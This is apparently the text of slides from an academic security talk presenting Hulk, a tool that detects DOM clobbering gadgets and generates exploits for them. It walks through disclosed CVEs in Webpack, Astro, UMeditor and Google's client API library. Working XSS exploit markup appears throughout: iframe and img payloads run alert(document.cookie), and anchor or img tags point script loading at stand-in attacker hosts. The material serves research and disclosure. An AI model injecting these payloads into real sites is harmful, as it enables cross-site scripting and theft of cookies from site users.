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0x01 | Introduction to DOM Clobbering
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How the Story Begins: The DOM Clobbering Feature

<img name="y" src="/hello"> 

0x01 Intro to DOM Clobbering 5

Web Page

<div id="x">hello</div> 

<script> 
document.querySelector('#x'); 
document.getElementById('x'); 
document.getElementsByTagName('div')[0]; 
document.evaluate('//*[@id="x"]', document, …) 
</script> 

DOM APIs 
<script> 
x, y 
document.y 
window.x, window.y 
</script> 

Named Lookup on Window or DOM Tree 



How the Story Begins: The DOM Clobbering Feature

<img name="y" src="/hello"> 

0x01 Intro to DOM Clobbering 6

Web Page

<div id="x">hello</div> 

<script> 
document.querySelector('#x'); 
document.getElementById('x'); 
document.getElementsByTagName('div')[0]; 
document.evaluate('//*[@id="x"]', document, …) 
</script> 

<script> 
x, y 
document.y 
window.x, window.y 
</script> 

DOM APIs  Named Lookup on Window or DOM Tree 

Vulnerability



❶ Inject scriptless HTML elements to the web page

Code-reuse Attack on the Web: DOM Clobbering

<a href="attacker.com" id="remote">test</a> 

0x01 Intro to DOM Clobbering 7

Web Page

User Input Gone Wild in Modern Web Apps



❶ Inject scriptless HTML elements to the web page

Code-reuse Attack on the Web: DOM Clobbering

<a href="attacker.com" id="remote">test</a> 

<script> 
link = window.remote || "https://cdn.com" 
link = link + "/js/hello.js" 
script.src = link 
</script> 

0x01 Intro to DOM Clobbering 8

Web Page

Dynamically loads 
additional JavaScript 
files from the host   

JavaScript Code Snippets from the page



❶ Inject scriptless HTML elements to the web page

Code-reuse Attack on the Web: DOM Clobbering

<script> 
link = window.remote || "https://cdn.com" 
link = link + "/js/hello.js" 
script.src = link 
</script> 

JavaScript Code Snippets from the page
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Falls back to use default URL when 
window.remote is undefined

Web Page

Dynamically loads 
additional JavaScript 
files from the host   

<a href="attacker.com" id="remote">test</a> 



❶ Inject scriptless HTML elements to the web page

Code-reuse Attack on the Web: DOM Clobbering

<script> 
link = window.remote || "https://cdn.com" 
link = link + "/js/hello.js" 
script.src = link 
</script> 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❷ Injected HTML elements collides named property lookups

Web Page

undefined <a>
JavaScript Code Snippets from the page

<a href="attacker.com" id="remote">test</a> 



❶ Inject scriptless HTML elements to the web page

Code-reuse Attack on the Web: DOM Clobbering

<script> 
link = window.remote || "https://cdn.com" 
link = link + "/js/hello.js" // https://attacker.com/js/hello.js 
script.src = link 
</script> 

0x01 Intro to DOM Clobbering 11

<a href="X"> + "/js" 

=>  
"https://X/js" 

Web Page

Type Coercion:
JavaScript Code Snippets from the page

❷ Injected HTML elements collides named property lookups

<a href="attacker.com" id="remote">test</a> 



❶ Inject scriptless HTML elements to the web page

Code-reuse Attack on the Web: DOM Clobbering

<script> 
link = window.remote || "https://cdn.com" 
link = link + "/js/hello.js" 
script.src = link // https://attacker.com/js/hello.js 
</script> 

0x01 Intro to DOM Clobbering 12

❷ Injected HTML elements collides named property lookups

❸ Payloads flow to the dangerous sink through gadgets

Web Page

JavaScript Code Snippets from the page

<a href="attacker.com" id="remote">test</a> 



0x02 | From Clobbering to Exploitation
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Clobbering Techniques

● Which HTML markups can clobber which JavaScript targets?

0x02 From Clobbering to Exploitation 14

<a id=v>test</a> 

<form id="v"></form><form id="v" 
name="x"><input name="y"></form> 

<iframe id="x"></iframe> 

<form id="x"><input id="y"/></form> 

<iframe name="x" srcdoc="&lt;iframe name=y srcdoc=&quot;&lt;iframe name=z 

srcdoc=&amp;quot;&lt;iframe name=x srcdoc=&amp;amp;quot;&lt;iframe name=y 

srcdoc=&amp;amp;amp;quot;&lt;iframe name=z srcdoc=&amp;amp;amp;amp;quot;&lt;iframe 

name=x srcdoc=&amp;amp;amp;amp;amp;quot;&lt;iframe name=y 

srcdoc=&amp;amp;amp;amp;amp;amp;quot;&lt;a id='z' 

href='a'&gt;&lt;/a&gt;&amp;amp;amp;amp;amp;amp;quot;&gt;&lt;/iframe&gt;&amp;amp;amp;

amp;amp;quot;&gt;&lt;/iframe&gt;&amp;amp;amp;amp;quot;&gt;&lt;/iframe&gt;&amp;amp;am

p;quot;&gt;&lt;/iframe&gt;&amp;amp;quot;&gt;&lt;/iframe&gt;&amp;quot;&gt;&lt;/iframe

&gt;&quot;&gt;&lt;/iframe&gt;"></iframe> 

v

v.x.y

window.x

window.x.y

document.x.y.z.x.y.z.x.y.z

HTML and DOM 
Standards

https://html.spec.whatwg.org/



Clobbering Techniques

● Which HTML markups can clobber which JavaScript targets?

○ It’s (DOM) Clobbering time, Khodayari et al. (S&P ‘23) uncovered 31,432 
distinct clobbering markups across five different techniques!

0x02 From Clobbering to Exploitation 15

Source: It’s (DOM) Clobbering Time: Attack Techniques, Prevalence, 
and Defenses by Khodayari et al. (S&P ‘23)



Clobbering Techniques

● Which HTML markups can clobber which JavaScript targets?

○ It’s (DOM) Clobbering time, Khodayari et al. (S&P ‘23) uncovered 31,432 
distinct clobbering markups across five different techniques!

○ But clobbering behavior is just the initial payload landing step :<
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Clobbering Techniques

● Which HTML markups can clobber which JavaScript targets?

○ It’s (DOM) Clobbering time, Khodayari et al. (S&P ‘23) uncovered 31,432 
distinct clobbering markups across five different techniques!

○ But clobbering behavior is just the initial payload landing step :<

■ Full exploitation need gadgets and exploits.

Can we automatically detect and exploit them in the wild?

0x02 From Clobbering to Exploitation 17



The Gap: From Clobbering to Exploitation

● Challenge One: Gadget Detection

○ Client-side JavaScript favors dynamic behaviors and has widespread 
use of aliased objects.

0x02 From Clobbering to Exploitation 18

Clobberable Sources

Client-side Sinks



The Gap: From Clobbering to Exploitation

● Challenge Two: Exploit Generation

○ DOM Clobbering requires HTML markups that satisfy DOM constraints 
to lead attacker-controlled string to flow to the sinks

0x02 From Clobbering to Exploitation 19

Sources

Sinks

Uncaught TypeError!

<div id=x></div> 

x.action[0] 

Sources

Sinks

x.action[0] 

<form name=x 
action=payload></form> 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https://hackmd.io

HTML Injection

// allow ifram tag with some safe attributes 
whiteList.iframe = ['allowfullscreen', 'name', 
'referrerpolicy', 'src', 'width', 'height'] 

https://github.com/hackmdio/codimd/blob/develop/public/js/render.js#L23

Motivating Example: CVE-2024-38354 - XSS via DOM Clobbering 
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var e = document.scripts || document.getElementsByTagName("script") || []; 
var d = [], f = []; 
 
f.push.apply(f, window.___jsl["us"] || []); // f = 
["https://apis.google.com/js/api.js"] 
 
for (var h = 0; h < e.length; ++h) { 
  for (var k = e[h], j = 0; j < f.length; ++j) { 
    k.src && 0 == k.src.indexOf(f[j]) && d.push(k); 
  } 
} 
 
for (e = 0; e < d.length; ++e) { 
  d[e].getAttribute("gapi_processed") || 
    (d[e].setAttribute("gapi_processed", !0), 
     (f = d[e]) ? h = f.nodeType, 
     f = 3 == h || 4 == h ? f.nodeValue : f.textContent || "", 
     f = Df(f), 
     f && b.push(f)); 
} 
 
Df = function(a) { new Function("return (" + a + "\n)"))();}; 

DOM Clobbering Gadgets from Google Client API library

Loaded on websites that use 
Google Maps, Google Drive, 
YouTube, and many other Google 
products.

Motivating Example: CVE-2024-38354 - XSS via DOM Clobbering 
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var e = document.scripts || document.getElementsByTagName("script") || []; 
var d = [], f = []; 
 
f.push.apply(f, window.___jsl["us"] || []); // f = 
["https://apis.google.com/js/api.js"] 
 
for (var h = 0; h < e.length; ++h) { 
  for (var k = e[h], j = 0; j < f.length; ++j) { 
    k.src && 0 == k.src.indexOf(f[j]) && d.push(k); 
  } 
} 
 
for (e = 0; e < d.length; ++e) { 
  d[e].getAttribute("gapi_processed") || 
    (d[e].setAttribute("gapi_processed", !0), 
     (f = d[e]) ? h = f.nodeType, 
     f = 3 == h || 4 == h ? f.nodeValue : f.textContent || "", 
     f = Df(f), 
     f && b.push(f)); 
} 
 
Df = function(a) { new Function("return (" + a + "\n)"))();}; 

<iframe name=scripts 
src=https://apis.google.com/js/api.js></iframe> 
<iframe name=scripts 
src=https://apis.google.com/js/api.js>alert(doc
ument.cookie)</iframe> 

DOM Clobbering Gadgets from Google Client API libraryExploit HTML Markups

alert(document.cookie) 

Motivating Example: CVE-2024-38354 - XSS via DOM Clobbering 
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var e = document.scripts || document.getElementsByTagName("script") || []; 
var d = [], f = []; 
 
f.push.apply(f, window.___jsl["us"] || []); // f = 
["https://apis.google.com/js/api.js"] 
 
for (var h = 0; h < e.length; ++h) { 
  for (var k = e[h], j = 0; j < f.length; ++j) { 
    k.src && 0 == k.src.indexOf(f[j]) && d.push(k); 
  } 
} 
 
for (e = 0; e < d.length; ++e) { 
  d[e].getAttribute("gapi_processed") || 
    (d[e].setAttribute("gapi_processed", !0), 
     (f = d[e]) ? h = f.nodeType, 
     f = 3 == h || 4 == h ? f.nodeValue : f.textContent || "", 
     f = Df(f), 
     f && b.push(f)); 
} 
 
Df = function(a) { new Function("return (" + a + "\n)"))();}; 

<iframe name=scripts 
src=https://apis.google.com/js/api.js></iframe> 
<iframe name=scripts 
src=https://apis.google.com/js/api.js>alert(doc
ument.cookie)</iframe> 

DOM Clobbering Gadgets from Google Client API libraryExploit HTML Markups

alert(document.cookie) 

Motivating Example: CVE-2024-38354 - XSS via DOM Clobbering 

Both the HTML Injection and the DOM Clobbering gadget have been 
fixed by HackMD.io and Google, respectively.
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var e = document.scripts || document.getElementsByTagName("script") || []; 
var d = [], f = []; 
 
f.push.apply(f, window.___jsl["us"] || []); // f = 
["https://apis.google.com/js/api.js"] 
 
for (var h = 0; h < e.length; ++h) { 
  for (var k = e[h], j = 0; j < f.length; ++j) { 
    k.src && 0 == k.src.indexOf(f[j]) && d.push(k); 
  } 
} 
 
for (e = 0; e < d.length; ++e) { 
  d[e].getAttribute("gapi_processed") || 
    (d[e].setAttribute("gapi_processed", !0), 
     (f = d[e]) ? h = f.nodeType, 
     f = 3 == h || 4 == h ? f.nodeValue : f.textContent || "", 
     f = Df(f), 
     f && b.push(f)); 
} 
 
Df = function(a) { new Function("return (" + a + "\n)"))();}; 

DOM Clobbering Gadgets from Google Client API library

window.__jsl["us"] is set dynamically and 
can't be resolved statically

Failed to trace the definition of variable f 
through ternary condition

Why TheThing[1] failed:

1. (Gadget Detection) Dynamic 
features and complex conditional 
expressions

[1] It’s (dom) clobbering time: Attack techniques, 
prevalence, and defenses, Khodayari S, 
Pellegrino G, (S&P ‘23)

Motivating Example: CVE-2024-38354 - XSS via DOM Clobbering 
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var e = ❶ document.scripts || document.getElementsByTagName("script") || []; 
var d = [], f = []; 
 
f.push.apply(f, window.___jsl["us"] || []); // f = 
["https://apis.google.com/js/api.js"] 
 
for (var h = 0; h < e.length; ++h) { 
  for (var k = ❷ e[h], j = 0; j < f.length; ++j) { 
    ❸ k.src && ❹ 0 == k.src.indexOf(f[j]) && d.push(k); 
  } 
} 
 
for (e = 0; e < d.length; ++e) { 
  ❺ d[e].getAttribute("gapi_processed") || 
    (d[e].setAttribute("gapi_processed", !0), 
     (f = d[e]) ? h = f.nodeType, 
     f = 3 == h || 4 == h ? f.nodeValue : ❻ f.textContent || "", 
     f = Df(f), 
     f && b.push(f)); 
} 
 
Df = function(a) { ❼ new Function("return (" + a + "\n)"))();}; 

<iframe name=scripts 
src=https://apis.google.com/js/api.js></iframe> 
<iframe name=scripts 
src=https://apis.google.com/js/api.js>alert(docu
ment.cookie)</iframe> 

DOM Clobbering Gadgets from Google Client API libraryExploit HTML Markups

❶ Initial Clobbering
❷ Data-flow Constraint #1
❸ Data-flow Constraint #2
❹ Control-flow Constraint #3
❺ Control-flow Constraint #4
❻ Data-flow Constarint #5
❼ Flow to the Sink

Motivating Example: CVE-2024-38354 - XSS via DOM Clobbering 
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var e = document.scripts || document.getElementsByTagName("script") || []; 
var d = [], f = []; 
 
f.push.apply(f, window.___jsl["us"] || []); // f = 
["https://apis.google.com/js/api.js"] 
 
for (var h = 0; h < e.length; ++h) { 
  for (var k = e[h], j = 0; j < f.length; ++j) { 
    k.src && 0 == k.src.indexOf(f[j]) && d.push(k); 
  } 
} 
 
for (e = 0; e < d.length; ++e) { 
  d[e].getAttribute("gapi_processed") || 
    (d[e].setAttribute("gapi_processed", !0), 
     (f = d[e]) ? h = f.nodeType, 
     f = 3 == h || 4 == h ? f.nodeValue : f.textContent || "", 
     f = Df(f), 
     f && b.push(f)); 
} 
 
Df = function(a) { new Function("return (" + a + "\n)"))();}; 

DOM Clobbering Gadgets from Google Client API library

<img src=payload name=scripts>

Why TheThing[1] failed:

1. (Gadget Detection) Dynamic 
features and complex conditional 
expressions

2. (Exploit Generation) Generate 
payload only based on initial 
clobbering pattern

[1] It’s (dom) clobbering time: Attack techniques, 
prevalence, and defenses, Khodayari S, 
Pellegrino G, (S&P ‘23)

Motivating Example: CVE-2024-38354 - XSS via DOM Clobbering 



0x02 From Clobbering to Exploitation 27

var e = document.scripts || document.getElementsByTagName("script") || []; 
var d = [], f = []; 
 
f.push.apply(f, window.___jsl["us"] || []); // f = 
["https://apis.google.com/js/api.js"] 
 
for (var h = 0; h < e.length; ++h) { 
  for (var k = e[h], j = 0; j < f.length; ++j) { 
    k.src && 0 == k.src.indexOf(f[j]) && d.push(k); 
  } 
} 
 
for (e = 0; e < d.length; ++e) { 
  d[e].getAttribute("gapi_processed") || 
    (d[e].setAttribute("gapi_processed", !0), 
     (f = d[e]) ? h = f.nodeType, 
     f = 3 == h || 4 == h ? f.nodeValue : f.textContent || "", 
     f = Df(f), 
     f && b.push(f)); 
} 
 
Df = function(a) { new Function("return (" + a + "\n)"))();}; 

DOM Clobbering Gadgets from Google Client API libraryExploit HTML Markups

Why DOM Invader failed:

1. Requires near-correct canary 
payloads for testing

<iframe name=scripts 
src=https://apis.google.com/js/api.js></iframe> 
<iframe name=scripts 
src=https://apis.google.com/js/api.js>alert(docu
ment.cookie)</iframe> 

Motivating Example: CVE-2024-38354 - XSS via DOM Clobbering 
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var e = document.scripts || document.getElementsByTagName("script") || []; 
var d = [], f = []; 
 
f.push.apply(f, window.___jsl["us"] || []); // f = 
["https://apis.google.com/js/api.js"] 
 
for (var h = 0; h < e.length; ++h) { 
  for (var k = e[h], j = 0; j < f.length; ++j) { 
    k.src && 0 == k.src.indexOf(f[j]) && d.push(k); 
  } 
} 
 
for (e = 0; e < d.length; ++e) { 
  d[e].getAttribute("gapi_processed") || 
    (d[e].setAttribute("gapi_processed", !0), 
     (f = d[e]) ? h = f.nodeType, 
     f = 3 == h || 4 == h ? f.nodeValue : f.textContent || "", 
     f = Df(f), 
     f && b.push(f)); 
} 
 
Df = function(a) { new Function("return (" + a + "\n)"))();}; 

DOM Clobbering Gadgets from Google Client API libraryWhy DOM Invader failed:

1. Requires near-correct canary 
payloads for testing

2. DOM Clobbering payloads often 
break site functionality, making 
bulk injection infeasible

Motivating Example: CVE-2024-38354 - XSS via DOM Clobbering 
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Overview
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Overview
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via Dynamic Taint Analysis
● Track taint flows of website-defined values from 

DOM clobberable sources to sinks 

document.links, document.anchors 

window.url ? window.url : "default" 

window.url || "default" 

● Inject value only when there is no website-defined 
value available



Gadget Detection via Dynamic Taint Analysis
● Taint Sources

○ window.v and v: Named Access on Window [1]

○ document.v: DOM Tree Accessors [2]

● Taint Sinks

○ Code Execution

○ Request Forgery

○ Open Redirection

○ Cookie Manipulation

○ Storage Manipulation

0x03 The Design of Hulk

[1] https://html.spec.whatwg.org/multipage/nav-history-apis.html#named-access-on-the-window-object
[2] https://html.spec.whatwg.org/multipage/dom.html#dom-tree-accessors

32

https://html.spec.whatwg.org/multipage/nav-history-apis.html#named-access-on-the-window-object
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Gadget Detection via Dynamic Taint Analysis
● Taint Representation

○ Object Types (including Object, Array, Map, Function, etc.)

○ Primitive Types (including String, Number, Boolean, undefined,  etc.)

● Taint Propagation
○ JS operations

■ Unary Ops, Binary Ops, getField Ops, and putField Ops. 

○ JS Built-ins

■ String, Array, RegExp, JSON, Object, Reflect, Boolean, Number, and Object Built-ins.

○ Browser Built-ins

■ URL, TrustedTypePolicy, TextEncoder, TextDecoder, and DOM APIs.

○ Stored Cross-boundary Data Flows

■ Values propagate through DOM elements and storages.

0x03 The Design of Hulk 33



Gadget Detection via Dynamic Taint Analysis
● Code-rewriting based approach vs. 

Instrumented taint-aware browser

○ Support tracking across all 

JavaScript value types

○ Support tracking across different 

browsers

0x03 The Design of Hulk

instrumented 
JS & HTML

Proxy

Server

Cache

Browser

raw response

Jalangi2 
Instrumentor

HULK 
Engine

Jalangi2
Runtime

34



● Taint Dependency Graph

0x03 The Design of Hulk

var e = document.scripts || 
        document.getElementsByTagName("script") || [];  
 
f.push.apply(f, window.___jsl["us"] || []); 
for (var h = 0; h < e.length; ++h) { 
  var k = e[h];  
  for (j = 0; j < f.length; ++j) { 
    k.src && 0 == k.src.indexOf(f[j]) && d.push(k); 
  } 
} 
 
for (e = 0; e < d.length; ++e) { 
  (f = d[e]) ? h = f.nodeType, 
               f = 3 == h||4 == h ? f.nodeValue 
                                  : f.textContent||"", 
             : f = void 0, 
  (f = Df(f)) && b.push(f)); 
} 
 
Df = function(a) { 
  if (a && !/^\s+$/.test(a)) { 
    try { 
      b = (new Function("return (" + a + "\n)"))() 
    } catch (c) {} 
  } 
} 
 

getField

document “scripts”

base arg0

getField

$1 1
base arg0

ret

getField

$2 “textContent”

base arg0

ret

BinaryOp

“return (”“+”

arg0
arg1

arg2

$3

ret

BinaryOp

“\n)”“+”

arg0 arg1 arg2

$4

ret

InvokeFun 
(constructor)

$5Function
ret

arg0base

Taint Dependency Graph
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Overview

0x03 The Design of Hulk 36

via Concolic Execution
● We propose Symbolic DOM to define and solve 

DOM elements-related constraints.

● Based on the concrete execution trace, Hulk 
models and solves the DOM constraints on the 
Symbolic DOM and generates HTML markups as 
exploit.



0x03 The Design of Hulk

STEP 1: Exploitation Modeling

● Four Stages

○ Window/Document-to-DOM (initial clobbering)

○ DOM-to-DOM (advanced clobbering)

○ DOM-to-String (string loading)

○ String-to-String (string-only propagation)

: Tainted Value

: Concrete Value

: Operation Node 

getField

“scripts”

base arg0

getField

$1 1
base arg0

ret

document

getField

$2 “textContent”

base arg0

ret

BinaryOp

“return (”“+”

arg0
arg1

arg2

$3

ret

BinaryOp

“\n)”“+”

arg0 arg1 arg2

$4

ret

InvokeFun 
(constructor)

$5Function
ret

arg0base

37
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Exploit Generation via Concolic Execution



STEP 1: Exploitation Modeling

● Stage One: Window/Document-to-DOM

○ Lookups happens directly on window or document 

○ Operations: getField, varRef

38

Exploit Generation via Concolic Execution

getField

document “scripts”

base arg0

$1
ret

document.x 
(getField) 

<embed name=x></embed> 
<form name=x></form> 
<object id=x></object> 
<img name=x><img name=x> 

window.x 
(getField) 

x 
(varRef) 

<a id=x> 
<svg id=x></svg> 
<customtag id=x> 
<form id=x><form id=x> 

1

2

3

4

# on window 

# on document



STEP 1: Exploitation Modeling

● Stage Two: DOM-to-DOM

○ The base object can be array-like, object-like, or tree-like

○ Operations: getField (element/property access), element navigation

39
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$1[number] 
(getField) <img name=x> <img name=x>  <img name=x> 

<iframe name=x srcdoc="<div id=p>">  <!- Nested Window Proxy -> 
<form><input name=p></form>        <!-- Parent-child Form --> 
<input form=x name=p><form id=x>   <!-- Input-Form --> 

$1.str(p) 
(getField) 

<div id=p> 
<input name=p> 

<customtag><customtag><customtag>      

1

2

3

4

previousSibling, firstChild, parentElement 

getField

$1 1
base arg0

$2
ret

# Nested Structure (object-like)

# HTMLCollections (array-like)

# HTML Element (tree-like)



STEP 1: Exploitation Modeling

● Stage Three: DOM-to-String

○ Operations: function call,  getField,  binary +

40

Exploit Generation via Concolic Execution

getField

$2 “textContent”

base arg0

$3

ret1

2

3

4

toString 
getAttribute/getAttributeNS 
getAttributenNames 

<a href="https://example.com"> 
<div id="x" p="payload"></div> 

<img name=x> 

<a id="x" href="alert()"></a> 
<div id="x" data-user="alice"></div> 

x.href 
x.dataset.user 

# function call

# getField

<a href="https://example.com"> + "/test" 
<area href="https://example.com"> + "/test"  JavaScript coercion 

# binary +

"alert()" 
"alice" 

"https://example.com/test" 
"https://example.com/test" 



STEP 1: Exploitation Modeling

● Stage Four: String-to-String

○ Pure string operations in this stage

○ Possibly multiple operations

41

Exploit Generation via Concolic Execution

1

2

3

4

a+b 
str1 + str2 
str.slice 
str.replace 
str.toLowerCase() 
… 

# String operations

0x03 The Design of Hulk

BinaryOp

“return (”“+”

arg0
arg1

arg2

$3

ret

BinaryOp

“\n)”“+”

arg0 arg1 arg2

$4

$5
ret
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Exploit Generation via Concolic Execution
● We propose Symbolic DOM, to define the DOM constraints.

○ Describe a set of DOM elements with similar looking

● Constraint Syntax:

○ Four primitives (i.e., int, bool, string, and node) and collection 

(an array of nodes).

○ node represents a DOM element which has a tag name 

(hasTagName) and several attributes (hasAttribute).

○ A node may have siblings (hasSibling) and children (hasChild).

○ A valid Symbolic DOM must have one root node (isRoot).

42
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Exploit Generation via Concolic Execution

STEP 2: Constraint Modeling

● <Operation type, Stage goal> defines constraints

E.g., To achieve Document-to-DOM through document.P, 

the DOM node must satisfy certain constraints, one of 

which is:

43

isRoot(R1) Λ hasTagName (R1, “object”) Λ hasAttribute(R1, “id”, P)

(when P="scripts", concrete to <object id=scripts></object>)

See our paper for more details!
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Exploit Generation via Concolic Execution

44

$1

getField

getField

$1 1

STEP 3: Attaching Constraints

● Each tainted node should have two conjunctive sets of 

constraints:

○ The return value of its precedent operation

○ An argument of the subsequent opertaion
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Exploit Generation via Concolic Execution

STEP 4: Merging and Solving Constraints

● "Start Small"

○ Unfold each local constraints (e.g., C1) into disjunctive 

normal forms (DNFs).

● "Connect the Dots"

○ Merge formulas across different DNFs if there is a literal 

bound to the same tainted value (e.g., R1 in C1 and R1 in C2) 

and remove the conflicts.

● "Concrete to HTML"

○ Generate HTML markups based on the final constraints.

45

$1

$2



Overview
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Canary-based Verification 
● Inject the generated exploit.

● Replay the web page.

● Monitor whether the vulnerability is triggered.
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0x04 DOM Clobbering Gadgets in the Wild

Large-scale Evaluation of Hulk

● Large-scale evaluation

○ 497 zero-day exploitable gadgets among Tranco top 5,000 websites

● Case studies

○ Modern web bundlers (Webpack*, Rspack*, Vite*, tsup*, Polyfills)

○ Core functional libraries (Prism*, MathJax 2&3, plotly.js, pagefind*, doomcaptcha)

○ Third-party services (Plausible Analytics, Google Client API Library)

○ Web application frameworks (Astro*)

48

Dataset available:

DOMC Gadgets Collection*: CVE Assigned
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CVE-2024-43788[1] : Webpack

● An average of 1.27 Webpack bundles per site among the Tranco Top 100K websites[2].

● This vulnerability can lead to cross-site scripting (XSS) on websites that uses 

Webpack as the bundler.

49

[1] https://github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986
[2] https://dl.acm.org/doi/10.1145/3576915.3623140

website 
source code

Webpack 

production code

compressed 
website code

Webpack runtime 
code

DOM Clobbering 
Gadget

HTML Injection

Cross-site 
Scripting

https://github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986
https://dl.acm.org/doi/10.1145/3576915.3623140
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/******/    /* webpack/runtime/publicPath */ 

/******/    (() => { 

/******/        var scriptUrl; 

/******/        if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + ""; 

/******/        var document = __webpack_require__.g.document; 

/******/        if (!scriptUrl && document) { 

/******/            if (document.currentScript) 

/******/                scriptUrl = document.currentScript.src; 

/******/        } 

/******/        scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/"); 

/******/        __webpack_require__.p = scriptUrl; 

/******/    })(); 

const path = require('path'); 

module.exports = { 

 entry: './entry.js', 

 output: { 

   path: path.resolve(__dirname, 

'dist'), 

   publicPath: "auto", // Or leave 

this field not set 

 }, 

 target: 'web', 

}; 

AutoPublicPathRuntimeModule 

webpack.config.js

CVE-2024-43788[1] : Webpack
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/******/    /* webpack/runtime/publicPath */ 

/******/    (() => { 

/******/        var scriptUrl; 

/******/        if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + ""; 

/******/        var document = __webpack_require__.g.document; 

/******/        if (!scriptUrl && document) { 

/******/            if (document.currentScript) 

/******/                scriptUrl = document.currentScript.src; 

/******/        } 

/******/        scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/"); 

/******/        __webpack_require__.p = scriptUrl; 

/******/    })(); 

AutoPublicPathRuntimeModule  <img name="currentScript" 

src="https://attacker.controlled.server/"></img> 

1
2

3

Arbitrary script loading 
from the attacker's server!

payload CVE-2024-43788[1] : Webpack
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CVE-2024-47885: Astro

● A widely-adopted client-server web framework
● Astro >=3.0.0, <=4.16.0 is vulnerable to DOM clobbering that can lead to cross-site 

scripting (XSS).
● GitHub advisory [1].
● CVE record [2].
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[1] 
https://github.com/withastro/astro/security/advisories/GHSA-m8
5w-3h95-hcf9
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-47885

https://github.com/withastro/astro/security/advisories/GHSA-m85w-3h95-hcf9
https://github.com/withastro/astro/security/advisories/GHSA-m85w-3h95-hcf9
https://nvd.nist.gov/vuln/detail/CVE-2024-47885
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<iframe name="scripts">alert(1)</iframe> 

<iframe name="scripts">alert(1)</iframe> 

payload 

function runScripts() { 

   let wait = Promise.resolve(); 

   for (const script of Array.from(document.scripts)) { 

       if (script.dataset.astroExec === '') continue; 

       const type = script.getAttribute('type'); 

       if (type && type !== 'module' && type !== 'text/javascript') continue; 

       const newScript = document.createElement('script'); 

       newScript.innerHTML = script.innerHTML; 

       script.replaceWith(newScript); 

   } 

   return wait; 

} 

An HTML Collection

CVE-2024-47885: Astro

<ViewTransitions /> 



0x04 DOM Clobeering Gadgets in the Wild 54

<iframe name="scripts">alert(1)</iframe> 

<iframe name="scripts">alert(1)</iframe> 

payload 

function runScripts() { 

   let wait = Promise.resolve(); 

   for (const script of Array.from(document.scripts)) { 

       if (script.dataset.astroExec === '') continue; 

       const type = script.getAttribute('type'); 

       if (type && type !== 'module' && type !== 'text/javascript') continue; 

       const newScript = document.createElement('script'); 

       newScript.innerHTML = script.innerHTML; 

       script.replaceWith(newScript); 

   } 

   return wait; 

} 

An HTML Collection

CVE-2024-47885: Astro

<ViewTransitions /> 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function runScripts() { 

   let wait = Promise.resolve(); 

   for (const script of Array.from(document.scripts)) { 

       if (script.dataset.astroExec === '') continue; 

       const type = script.getAttribute('type'); 

       if (type && type !== 'module' && type !== 'text/javascript') continue; 

       const newScript = document.createElement('script'); 

       newScript.innerHTML = script.innerHTML; 

       script.replaceWith(newScript); 

   } 

   return wait; 

} 

<ViewTransitions /> 

1st condition check

2nd condition check

CVE-2024-47885: Astro <iframe name="scripts">alert(1)</iframe> 

<iframe name="scripts">alert(1)</iframe> 

payload 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function runScripts() { 

   let wait = Promise.resolve(); 

   for (const script of Array.from(document.scripts)) { 

       if (script.dataset.astroExec === '') continue; 

       const type = script.getAttribute('type'); 

       if (type && type !== 'module' && type !== 'text/javascript') continue; 

       const newScript = document.createElement('script'); 

       newScript.innerHTML = script.innerHTML; 

       script.replaceWith(newScript); 

   } 

   return wait; 

} 

1st condition bypass: undefined != ''

<ViewTransitions /> 

2nd condition bypass: type == undefined

CVE-2024-47885: Astro <iframe name="scripts">alert(1)</iframe> 

<iframe name="scripts">alert(1)</iframe> 

payload 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function runScripts() { 

   let wait = Promise.resolve(); 

   for (const script of Array.from(document.scripts)) { 

       if (script.dataset.astroExec === '') continue; 

       const type = script.getAttribute('type'); 

       if (type && type !== 'module' && type !== 'text/javascript') continue; 

       const newScript = document.createElement('script'); 

       newScript.innerHTML = script.innerHTML; 

       script.replaceWith(newScript); 

   } 

   return wait; 

} 

Arbitrary code execution!

<ViewTransitions /> 

CVE-2024-47885: Astro <iframe name="scripts">alert(1)</iframe> 

<iframe name="scripts">alert(1)</iframe> 

payload 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CVE-2024-53387: UMeditor

58

● Previously maintained by 
● DOM Clobbering gadget in UMeditor library version 1.2.2. 
● The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in 

web pages where attacker-controlled HTML elements (e.g., an a tag with an 
unsanitized id attribute) are present.

● Report [1].
● CVE record [2].

[1] 
https://gist.github.com/jackfromeast/d52c506113f33b8871d0e
647411df894
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-53387

https://gist.github.com/jackfromeast/d52c506113f33b8871d0e647411df894
https://gist.github.com/jackfromeast/d52c506113f33b8871d0e647411df894
https://nvd.nist.gov/vuln/detail/CVE-2024-53387
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var URL = window.UMEDITOR_HOME_URL || (function(){ 

 var currentPath = document.getElementsByTagName('script'); 

 currentPath = currentPath[ currentPath.length -1 ].src; 

 return new PathStack().push( currentPath ) + ""; 

})(); 

 

window.UMEDITOR_CONFIG = { 

UMEDITOR_HOME_URL : URL 

}; 

 

url  = UMEDITOR_CONFIG + 'dialogs/' +name+ '/'+name+'.js'; 

utils.loadFile(document,{ src: url, tag: "script", type: "text/javascript"} 

<a id="UMEDITOR_HOME_URL" 

href="http://attack.controlled.com"></a> 

Scripts loaded from an attacker’s domain

CVE-2024-53387: UMeditor

umeditor.config.js 

payload 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● Web apps accept and process all sorts of user input

610x05 End-to-end Exploitation

HTML Injection



HTML Injection

● How does it become unsafe…

○ Some sanitizers don’t strip id/name by default.

○ Applications are not aware of DOM clobbering and 

rely on id/name for intended logic.

○ Slip through attribute whitelists as they don’t look 

harmful at all!

620x05 End-to-end Exploitation

Source: It’s (DOM) Clobbering Time: Attack Techniques, 
Prevalence, and Defenses by Khodayari et al. (S&P ‘23)



HTML Injection

● Input Vectors

○  #1: User Typing and Application Rendering

○  #2: Copy & Paste HTML Elements into the Page

630x05 End-to-end Exploitation



HTML Injection

● Input Vector #1: Injection via User Typing and Application Rendering

○ Attackers inputs raw HTML strings (e.g., <img src=x onerror=alert(1)>) into 
user-controllable fields.

○ The strings are later parsed and rendered by the web application, without 
proper sanitization.

640x05 End-to-end Exploitation



HTML Injection

● Input Vector #2: Insertion via Copy & Paste HTML Elements into Page

